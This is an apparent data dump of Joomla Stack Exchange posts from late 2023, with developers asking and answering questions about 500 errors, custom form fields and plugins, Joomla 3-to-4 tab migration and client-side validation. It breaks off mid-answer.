  <row Id="33425" PostTypeId="1" CreationDate="2023-10-25T16:30:37.520" Score="1" ViewCount="61" Body="&lt;p&gt;A working site has spontaneously started giving nicely-formatted 500 errors on both / and /administrator.&lt;/p&gt;&#xA;&lt;p&gt;I am running Joomla 4.2.8 with php 8.2 on Apache 2.4.56 with MariaDB Ver 15.1 Distrib 10.5.19.  The server runs Debian 11 and I have total control of it (and have even tried rebooting).  The apt logs show that no packages have been upgraded since the site was last known to work.&lt;/p&gt;&#xA;&lt;p&gt;(The apache configuration includes some redirects to a static site on the same server.  These still work without problems.)&lt;/p&gt;&#xA;&lt;p&gt;I've set &lt;code&gt;debug&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; and &lt;code&gt;error-reporting&lt;/code&gt; to &lt;code&gt;Maximum&lt;/code&gt; in configuration.php&lt;/p&gt;&#xA;&lt;p&gt;I've set &lt;code&gt;log_level&lt;/code&gt; to &lt;code&gt;debug&lt;/code&gt; in php-fpm.conf&lt;/p&gt;&#xA;&lt;p&gt;I've added &lt;code&gt;ini_set('display_errors','On');&lt;/code&gt; and &lt;code&gt;error_reporting(E_ALL);&lt;/code&gt; to index.php (this displayed a few syntax deprecations, which I fixed)&lt;/p&gt;&#xA;&lt;p&gt;I've set apache's logging to &lt;code&gt;trace3&lt;/code&gt;.  The relevant output to error.log is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[proxy:debug] [pid 2301349] proxy_util.c(2596): [client xxxx] AH00944: connecting fcgi://localhost/srv/http/joomla/administrator/index.php to localhost:8000&#xA;[proxy:debug] [pid 2301349] proxy_util.c(2632): [client xxxx] AH02545: fcgi: has determined UDS as /run/php/php8.2-fpm.sock&#xA;[proxy:debug] [pid 2301349] proxy_util.c(2819): [client xxxx] AH00947: connected /srv/http/joomla/administrator/index.php to httpd-UDS:0&#xA;[proxy:debug] [pid 2301349] proxy_util.c(3188): AH02823: FCGI: connection established with Unix domain socket /run/php/php8.2-fpm.sock (*:80)&#xA;[proxy_fcgi:trace1] [pid 2301349] util_script.c(650): [client xxxx] Status line from script 'index.php': 500 Internal Server Error&#xA;[http:trace3] [pid 2301349] http_filters.c(1129): [client xxxx] Response sent with status 500&#xA;[Wed Oct 25 15:49:52.150283 2023] [proxy:debug] [pid 2301349] proxy_util.c(2554): AH00943: FCGI: has released connection for (*:80)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Other than that, I've found no useful debugging information in any of the logs.  I've spent over an hour on google searching for Joomla 500 without learning anything new.&lt;/p&gt;&#xA;&lt;p&gt;Can anyone suggest how I might debug this further?&lt;/p&gt;&#xA;&lt;p&gt;&amp;lt;°}}}&amp;gt;«&amp;lt;&lt;/p&gt;&#xA;" OwnerUserId="17399" LastEditorUserId="17399" LastEditDate="2023-10-25T16:48:37.557" LastActivityDate="2023-10-27T09:09:30.040" Title="500 error on both front- and back-end" Tags="|joomla-4.x|error|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="33426" PostTypeId="2" ParentId="32354" CreationDate="2023-10-26T08:09:56.310" Score="0" Body="&lt;p&gt;In my Joomla 4 component I use the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        $menuTable = JTable::getInstance('menu', 'JTable');&#xA;        $menuTable-&amp;gt;setLocation($id, 'last-child');&#xA;&#xA;        if (!$menuTable-&amp;gt;save($menuItem))&#xA;        {&#xA;            throw new Exception($menuTable-&amp;gt;getError());&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;And especially the setLocation 'last-child' part is what did the trick for me.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;From docs.joomla:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;However, in order to determine where in the tree the new node is to be inserted, you need to make a call to the setLocation method. The setLocation method takes two arguments. The first is the id of a &amp;quot;reference&amp;quot; node in the tree. The new node will be inserted relative to this node with the relationship being specified by the second argument. Possible values for this relationship are:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;before&lt;/strong&gt; - the new node will be inserted before the reference node but at the same level.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;after&lt;/strong&gt; - the new node will be inserted after the reference node but at the same level.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;first-child&lt;/strong&gt; - the new node will be inserted as the first child node of the reference node.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;last-child&lt;/strong&gt; - the new node will be inserted as the last child node of the reference node.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Specify where to insert the new node.&lt;/strong&gt;&#xA;$table-&amp;gt;setLocation($reference_id, 'first-child');&lt;/p&gt;&#xA;&lt;p&gt;-- edit --&lt;/p&gt;&#xA;&lt;p&gt;I don't really know if this is still best practice for Joomla 4 and above as I find it hard to get updated information on the matter. Please share you knowledge.&lt;/p&gt;&#xA;" OwnerUserId="17401" LastEditorUserId="17401" LastEditDate="2023-10-26T08:14:05.367" LastActivityDate="2023-10-26T08:14:05.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33427" PostTypeId="1" CreationDate="2023-10-26T09:32:26.500" Score="0" ViewCount="19" Body="&lt;p&gt;I'm try to create a system plugin with Joomla 4. Its purpose is adding a new field (pippo) in the article editing form and save its value in the attribs column of the content table.&lt;/p&gt;&#xA;&lt;p&gt;I used the &amp;quot;onContentPrepareForm&amp;quot; event. The field is displayed correctly in the metadata section of the article but it is not stored into the content table.&lt;/p&gt;&#xA;&lt;p&gt;This is the function of the plugin:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepareForm($form, $data)&#xA;{&#xA;    $doc = $this-&amp;gt;app-&amp;gt;getDocument();&#xA;&#xA;    if ((!$this-&amp;gt;app-&amp;gt;isClient('administrator')) &amp;amp;&amp;amp; ($doc-&amp;gt;getType() != 'html')) return;&#xA;    $plg_path = JPATH_ROOT.DIRECTORY_SEPARATOR.'plugins'.DIRECTORY_SEPARATOR.'system'.DIRECTORY_SEPARATOR.$this-&amp;gt;_name;&#xA;&#xA;    if ((JFactory::getApplication()-&amp;gt;input-&amp;gt;get('option') == 'com_content') &amp;amp;&amp;amp; &#xA;        (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('view') == 'article') &amp;amp;&amp;amp;&#xA;        (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('layout') == 'edit')) {&#xA;        &#xA;        FormHelper::addFormPath($plg_path.DIRECTORY_SEPARATOR.'params');&#xA;        $form-&amp;gt;loadFile('article', false);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And this is the XML of the field:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;attribs&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;jmetadata&amp;quot; label=&amp;quot;PLG_SYSTEM_PIPPO_LABEL_TEXT&amp;quot;&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;pippo&amp;quot; type=&amp;quot;text&amp;quot; size=&amp;quot;50&amp;quot; label=&amp;quot;PLG_SYSTEM_PIPPO_LABEL_TEXT&amp;quot; placeholder=&amp;quot;PLG_SYSTEM_PIPPO_PLACEHOLDER&amp;quot;/&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I remember in Joomla 3 this is the way to go. But in Joomla 4... What's wrong?&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&lt;p&gt;EDIT: SOLVED!&lt;/p&gt;&#xA;&lt;p&gt;Changed this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;FormHelper::addFormPath($plg_path.DIRECTORY_SEPARATOR.'params');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;with this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Form::addFormPath($plg_path.DIRECTORY_SEPARATOR.'params');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and it works!&lt;/p&gt;&#xA;" OwnerUserId="17402" LastEditorUserId="17402" LastEditDate="2023-10-26T11:12:47.990" LastActivityDate="2023-10-26T11:12:47.990" Title="Joomla 4: plugin added field in com_content editing form won't save" Tags="|joomla-4.x|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33428" PostTypeId="1" CreationDate="2023-10-26T09:58:02.363" Score="0" ViewCount="153" Body="&lt;p&gt;I'm moving from 3.x to 4.x.  I wrote a component in 3.x which works fine but in 4.x it throws&#xA;An error has occurred.&#xA;500 behavior::tabstate not found.&lt;/p&gt;&#xA;&lt;p&gt;I think it is because bootstrap has been removed??&lt;/p&gt;&#xA;&lt;p&gt;I've tried adding&lt;/p&gt;&#xA;&lt;p&gt;removed&lt;/p&gt;&#xA;&lt;p&gt;JHtml::_('behavior.tabstate');&lt;/p&gt;&#xA;&lt;p&gt;Added&lt;/p&gt;&#xA;&lt;p&gt;use Joomla\CMS\HTML\HTMLHelper;&#xA;HTMLHelper::_('behavior.tabstate');&lt;/p&gt;&#xA;&lt;p&gt;But I'm still getting the same error.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas what I can do?&lt;/p&gt;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="12248" LastActivityDate="2023-11-29T23:04:30.590" Title="joomla 3.x to 4.x migration" Tags="|joomla-4.x|behaviour|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33429" PostTypeId="2" ParentId="33417" CreationDate="2023-10-27T06:36:55.647" Score="1" Body="&lt;p&gt;Try this one&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;^(4\.([3-9]|10)|5\.([0-9]|10))\b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Feel free to change the range of supported versions.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2023-10-27T06:36:55.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33430" PostTypeId="1" CreationDate="2023-10-27T07:35:06.610" Score="0" ViewCount="21" Body="&lt;p&gt;I have a Form that includes two radio inputs both based on this field structure:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;privacy_policy&amp;quot;&#xA;  type=&amp;quot;radio&amp;quot;&#xA;  layout=&amp;quot;joomla.form.field.radio.switcher&amp;quot;&#xA;  default=&amp;quot;0&amp;quot;&#xA;  required=&amp;quot;true&amp;quot;&#xA;  validate=&amp;quot;ValidateChecked&amp;quot;&#xA;  class=&amp;quot;validate-checked&amp;quot;&#xA;  label=&amp;quot;COM_COMPONENTNAME_FIELD_PRIVACY_STATUS_LABEL&amp;quot;&#xA;&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And the Rule JS:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;document.addEventListener('DOMContentLoaded', function() {&#xA;    document.formvalidator.setHandler(&amp;quot;checked&amp;quot;, function (value, element) {&#xA;        console.log(element)&#xA;        console.log(value)&#xA;        return value == &amp;quot;1&amp;quot;;&#xA;    });&#xA;});&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The rule gets called like so on save BUT its called twice (once for the option no and once for the option yes. This means the form does not get submitted. So how can I implement a check to make sure the Radio was switched to yes?&lt;/p&gt;&#xA;&lt;p&gt;See Console Log:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/wNCzc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wNCzc.png&quot; alt=&quot;Console Log&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2023-10-28T06:35:07.520" LastActivityDate="2024-03-26T07:08:36.033" Title="Custom Rule (checked) for ClientSide Validation" Tags="|joomla-4.x|form|validation|radio|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33431" PostTypeId="2" ParentId="33425" CreationDate="2023-10-27T09:09:30.040" Score="2" Body="&lt;p&gt;I discovered that I can put die statements in index.php (and any file that it includes) to print strings or the values of variables to the web interface.  I inserted such a statement at the top of the file and checked that I could see its output.  I then moved the statement further down the file, &amp;quot;stepping into&amp;quot; included files until I reached the point where I got a 500 error rather than my intended output.  This technique should isolate the section of code responsible for the problem.&lt;/p&gt;&#xA;&lt;p&gt;At some point during the process, everything started working properly again.  I have no idea why and I'm confident that I didn't change any code.  A most unsatisfactory conclusion with no lessons learned.&lt;/p&gt;&#xA;&lt;p&gt;This debugging technique, however crude, seems worth sharing.&lt;/p&gt;&#xA;&lt;p&gt;&amp;lt;°}}}&amp;gt;«&amp;lt;&lt;/p&gt;&#xA;" OwnerUserId="17399" LastActivityDate="2023-10-27T09:09:30.040" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33432" PostTypeId="1" CreationDate="2023-10-27T18:20:46.977" Score="0" ViewCount="36" Body="&lt;p&gt;0&lt;/p&gt;&#xA;&lt;p&gt;i have created some custom fields in Joomla and created an over-ride:&lt;/p&gt;&#xA;&lt;p&gt;/components/com_fields/layouts/field/render.php to /templates/YOUR_TEMPLATE/html/layouts/com_fields/field/MY_OVERRIDE.ph&lt;/p&gt;&#xA;&lt;p&gt;Currently the fields show as such:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Field 1 &#xA;Field 2 &#xA;Field 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I would like to display them as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Field 1 Field 2 Field 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am OK styling them with css but my php skills are lacking.&lt;/p&gt;&#xA;&lt;p&gt;This seems to be part of code that outputs it and i have tried putting tables in but no luck. Also don't understand why there is not an echo for each field.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($showLabel == 1) : ?&amp;gt;&#xA;    &amp;lt;span class=&amp;quot;field-label &amp;lt;?php echo $labelClass; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?php echo htmlentities($label, ENT_QUOTES | ENT_IGNORE, 'UTF-8'); ?&amp;gt;: &amp;lt;/span&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php if ($prefix) : ?&amp;gt;&#xA;    &amp;lt;span class=&amp;quot;field-prefix&amp;quot;&amp;gt;&amp;lt;?php echo htmlentities($prefix, ENT_QUOTES | ENT_IGNORE, 'UTF-8'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;span class=&amp;quot;field-value &amp;lt;?php echo $valueClass; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?php echo $value; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;?php if ($suffix) : ?&amp;gt;&#xA;    &amp;lt;span class=&amp;quot;field-suffix&amp;quot;&amp;gt;&amp;lt;?php echo htmlentities($suffix, ENT_QUOTES | ENT_IGNORE, 'UTF-8'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="408" LastActivityDate="2023-10-28T04:46:17.607" Title="Styling Joomla custom fields" Tags="|php|joomla-4.x|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33433" PostTypeId="2" ParentId="33432" CreationDate="2023-10-28T04:46:17.607" Score="1" Body="&lt;p&gt;Custom fields are rendered inside an &lt;strong&gt;ul.fields-container&lt;/strong&gt; as &lt;strong&gt;li.filed-entry&lt;/strong&gt;.&#xA;So, why don't convert the &lt;strong&gt;ul&lt;/strong&gt; into a flexy div and use flex-flow to define the layout of the fileds?&lt;/p&gt;&#xA;&lt;p&gt;Btw there are 2 files into com_fields/layout&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;field/render.php, the one you overriddend, that controls the single custom field&lt;/li&gt;&#xA;&lt;li&gt;fields/render.php that controls the list.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Overriding the &lt;strong&gt;fileds&lt;/strong&gt;/render.php you can change how the container of the single custom items is displayed.&lt;/p&gt;&#xA;" OwnerUserId="17248" LastActivityDate="2023-10-28T04:46:17.607" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33434" PostTypeId="2" ParentId="33430" CreationDate="2023-10-28T06:33:48.947" Score="0" Body="&lt;p&gt;Ok got it now&#xA;The &amp;quot;problem&amp;quot; is the structure of the radio field, it is based on two inputs. The check runs on each of these input elements. So we need to check the whole status of both fields which means we need also to check if the option with value &amp;quot;0&amp;quot; is NOT selected see updated JS for checked rule:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;document.addEventListener('DOMContentLoaded', function() {&#xA;    document.formvalidator.setHandler(&amp;quot;checked&amp;quot;, function (value, element) {&#xA;        return value === &amp;quot;1&amp;quot; &amp;amp;&amp;amp; element.checked || value === &amp;quot;0&amp;quot; &amp;amp;&amp;amp; !element.checked;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The Code above runs on EVERY input of the radio field (in this case both - the yes and no option) so we need to check that the option with value &amp;quot;0&amp;quot; is not checked for sure and it has also to work if we check that the option with the value &amp;quot;1&amp;quot; and make sure that this option IS checked.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2023-10-28T06:33:48.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33435" PostTypeId="2" ParentId="33417" CreationDate="2023-10-28T10:10:49.863" Score="1" Body="&lt;p&gt;After to have re-checked it works by doing that :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;targetplatform name=&amp;quot;joomla&amp;quot; version=&amp;quot;4.(3|4)|5.0&amp;quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2023-10-28T10:10:49.863" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33436" PostTypeId="1" AcceptedAnswerId="33439" CreationDate="2023-10-28T11:41:32.527" Score="2" ViewCount="226" Body="&lt;p&gt;I am looking at how to create my own custom field using a self implemented form field in Joomla 5.&lt;/p&gt;&#xA;&lt;p&gt;I started my extension in the same way as the core extensions (&lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/5.0-dev/plugins/fields/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/tree/5.0-dev/plugins/fields/&lt;/a&gt;) and put my own field in the &lt;code&gt;/src/Field&lt;/code&gt; directory of my Extension.&lt;/p&gt;&#xA;&lt;p&gt;I have also tried to add the path via&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;FormHelper::addFieldPath(JPATH_PLUGINS . '/' . $this-&amp;gt;_type . '/' . $this-&amp;gt;_name . '/src/Field');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But my form field does not seem to be found. I think this, because the &lt;code&gt;type&lt;/code&gt; is always set to the default &lt;code&gt;text&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I now wanted to do further research. But I can't find the place where the form field is set. I only find a &lt;code&gt;getField()&lt;/code&gt; &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/b17a2ed3253b6a7b0c7c538b269fff27075b5f78/libraries/src/Event/CustomFields/AbstractPrepareFieldEvent.php#L91&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. But no &lt;code&gt;setField()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Where do I have to look?&lt;/p&gt;&#xA;&lt;p&gt;Is there perhaps an example of a custom field that uses a self-created form field?&lt;/p&gt;&#xA;" OwnerUserId="16197" LastEditorUserId="16197" LastEditDate="2023-10-28T12:56:54.077" LastActivityDate="2023-10-29T15:41:21.123" Title="Create own Custom Field for Joomla 5" Tags="|development|custom-field|custom|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33437" PostTypeId="1" CreationDate="2023-10-28T14:10:44.633" Score="0" ViewCount="24" Body="&lt;p&gt;I am using ACY to create and send newsletters -  I am using their &amp;quot;menu newsletter archive view&amp;quot; ([https://www.beeswaxcandleshop.com/home/newsletters/archive/listing.html]) - The page looks rather simple, but works. Previously I posted all my emails as a blog and could add images, borders and lots of things to make the page look better.&lt;/p&gt;&#xA;&lt;p&gt;Is there any way I could change a class on the menu, add an image from an email (joomla 4 only), put the menu in an article? What can I do to make the display look better?&lt;/p&gt;&#xA;&lt;p&gt;I cannot seem to copy the html of the newsletter (I dont think acy wants me to - they want me to use their menu archive.&lt;/p&gt;&#xA;&lt;p&gt;? Somehow copy the html of the email to an article?&#xA;? Add code to spice up the page?&#xA;? Insert the menu item in a module? (then I can put image on the page)&#xA;? Any other idea?&lt;/p&gt;&#xA;" OwnerUserId="17409" LastEditorUserId="17409" LastEditDate="2023-10-28T16:22:01.923" LastActivityDate="2023-10-28T16:22:01.923" Title="Try to make ACY Mailing newsletter archive view look more like a blog" Tags="|joomla-4.x|menu-item|category-blog|menu-parameters|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33439" PostTypeId="2" ParentId="33436" CreationDate="2023-10-29T07:19:40.940" Score="0" Body="&lt;p&gt;My &lt;a href=&quot;https://codeberg.org/astrid/j4examplecode/src/branch/t42/src/plugins/fields/agosmsmarker&quot; rel=&quot;nofollow noreferrer&quot;&gt;attempts so far&lt;/a&gt; have ended in code that does not load the form field either.&lt;/p&gt;&#xA;&lt;p&gt;I have created a question on Github. See: &lt;a href=&quot;https://github.com/joomla/joomla-cms/discussions/42246&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/discussions/42246&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here I found the solution in&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For namespaced field you need to use &lt;code&gt;FormHelper::addFieldPrefix()&lt;/code&gt; to&#xA;register your namespace in the form, instead of&#xA;&lt;code&gt;FormHelper::addFieldPath()&lt;/code&gt;. Example&#xA;&lt;code&gt;FormHelper::addFieldPrefix('Foo\Bar')&lt;/code&gt; for field &lt;code&gt;Foo\Bar\BeerField&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7387" LastEditorUserId="7387" LastEditDate="2023-10-29T15:41:21.123" LastActivityDate="2023-10-29T15:41:21.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33440" PostTypeId="6" CreationDate="2023-10-29T08:56:09.617" Score="0" Body="&lt;h3&gt;The Pitch&lt;/h3&gt;&#xA;&lt;p&gt;I have been on JSE for a number of years now and check it several time a day, reading each question answering where and when I can.  I like the style of JSE and would like to see it gain more usage in the Joomla community but that needs to be supported by people willing to not only ask the questions but also take the time to answer them.&lt;/p&gt;&#xA;&lt;p&gt;I have been the moderator on a couple of special interest forums for nearly 20 years dealing with up to 50-60 post a day at their peaks and have had to deal with some heavy situations at times however I believe I handle the issue fairly and consistently.  Having been on the receiving end of previous JSE moderators comments in both a negative and positive way, I feel that I have got decent understanding of what is expected.&lt;/p&gt;&#xA;&lt;p&gt;I am located on the other side of the world to the other Terry and Peter so I tend to be online at a different time potentially giving JSE around the clock coverage.&lt;/p&gt;&#xA;&lt;p&gt;And you can't have too many people called Terry looking after things.&lt;/p&gt;&#xA;&lt;p&gt;Terry&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-10-29T08:56:09.617" LastActivityDate="2023-10-29T08:56:09.617" CommentCount="0" CommunityOwnedDate="2023-10-29T08:56:09.617" ContentLicense="CC BY-SA 4.0" />
  <row Id="33442" PostTypeId="2" ParentId="33424" CreationDate="2023-10-30T11:28:56.083" Score="1" Body="&lt;p&gt;OK, I figured out it wasn't reflecting my changes because I didnt assign the child template to the main menu in template styles.&lt;/p&gt;&#xA;" OwnerUserId="7998" LastActivityDate="2023-10-30T11:28:56.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33443" PostTypeId="1" CreationDate="2023-10-30T18:43:09.073" Score="1" ViewCount="22" Body="&lt;p&gt;In my extension i load via composer the library ScssPhp\ScssPhp but in some sites there are others extensions installed which loads the same library ScssPhp\ScssPhp.&lt;/p&gt;&#xA;&lt;p&gt;It's the ScssPhp\ScssPhp from my extension vendor which is always loaded by others.&lt;/p&gt;&#xA;&lt;p&gt;What i should do ? Set a Prefix at the begining on all namespace declarations of ScssPhp\ScssPhp of my vendor directory ?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2023-10-30T18:43:09.073" Title="Load third parties libraries in his extensions with composer already used in others extensions" Tags="|joomla-4.x|joomla-5.x|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33444" PostTypeId="1" AcceptedAnswerId="33446" CreationDate="2023-10-30T20:38:57.363" Score="0" ViewCount="49" Body="&lt;p&gt;Is it possible to override the default field template just in my component? How would I go about doing it?&lt;/p&gt;&#xA;&lt;p&gt;The template I specifically want to override is &lt;code&gt;&amp;quot;joomla.form.renderlabel&amp;quot;&lt;/code&gt;, which is stored at &lt;code&gt;layouts/joomla/form/renderlabel.php&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I know that I could create a template override, but this would override all admin fields for all components; I just want to override them in my component, or even more specifically, in one of my admin views. So I'm looking for a way to programatically modify which template is used.&lt;/p&gt;&#xA;&lt;p&gt;From what I can tell, &lt;code&gt;'joomla.form.renderlabel'&lt;/code&gt; is hard coded into the &lt;code&gt;FormField&lt;/code&gt; object, so to use a different label I would need to override that. But since it's so high in the inheritance chain I think I would also have to override like... so much of Joomla. Following the chain up, I especially begin to despair as I get to the &lt;code&gt;FormHelper&lt;/code&gt; class.&lt;/p&gt;&#xA;&lt;p&gt;Before I give up, I want to see if any experienced Joomla people know of some easy way to do this.&lt;/p&gt;&#xA;&lt;p&gt;Right now I have some Javascript that does what I want: extracts descriptions and prints them underneath the labels rather than have them appear on hover. But this script is hacky and runs into problems with subforms. I feel like overriding the field template would be the &lt;em&gt;right&lt;/em&gt; way to do it... but I also feel like it could be even more hacky if it means fighting with Joomla's architecture.&lt;/p&gt;&#xA;" OwnerUserId="8455" LastActivityDate="2023-10-31T06:13:32.367" Title="How do I override Joomlas default field template, but just in my component?" Tags="|joomla-3.x|php|template-override|view|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33445" PostTypeId="2" ParentId="33428" CreationDate="2023-10-30T22:26:53.873" Score="1" Body="&lt;p&gt;For those looking at this question and wondering what 'tabstate' is, it's the functionality which preserves a record of the tab which you were looking at in a form. For example, on the administrator back-end when you edit an article, click on the Publishing tab, and then hit Close. If you then click on the same article to edit it again you should find yourself back in the Publishing tab.&lt;/p&gt;&#xA;&lt;p&gt;The functionality is implemented using the browser local session storage. You can see this, for example on Firefox, by opening the developer tools, clicking on the Storage tab, then clicking on Session Storage and your domain. If you have edited an article then you should see one or more Keys set to the URL of the article edit functionality, with Value set to the name of the tab.&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 4 tabstate is no longer implemented through adding&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.tabstate'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Instead you should do the following.&lt;/p&gt;&#xA;&lt;p&gt;In your tmpl file where you set tabs (using &lt;code&gt;bootstrap.addTab&lt;/code&gt; etc), change all of these to be &lt;code&gt;uitab&lt;/code&gt; instead of &lt;code&gt;bootstrap&lt;/code&gt;. (ie change &lt;code&gt;bootstrap.addTab&lt;/code&gt; to &lt;code&gt;uitab.addTab&lt;/code&gt; etc).&lt;/p&gt;&#xA;&lt;p&gt;In the &lt;code&gt;startTabSet&lt;/code&gt; call you need to pass more array elements.&lt;/p&gt;&#xA;&lt;p&gt;Instead of&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('bootstrap.startTabSet', 'myTab', array('active' =&amp;gt; 'details'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(where 'details' is the name of my first tab) you need to have&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HtmlHelper::_('uitab.startTabSet', 'myTab', array('active' =&amp;gt; 'details', 'recall' =&amp;gt; true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;'recall' =&amp;gt; true&lt;/code&gt; means it will return to the saved 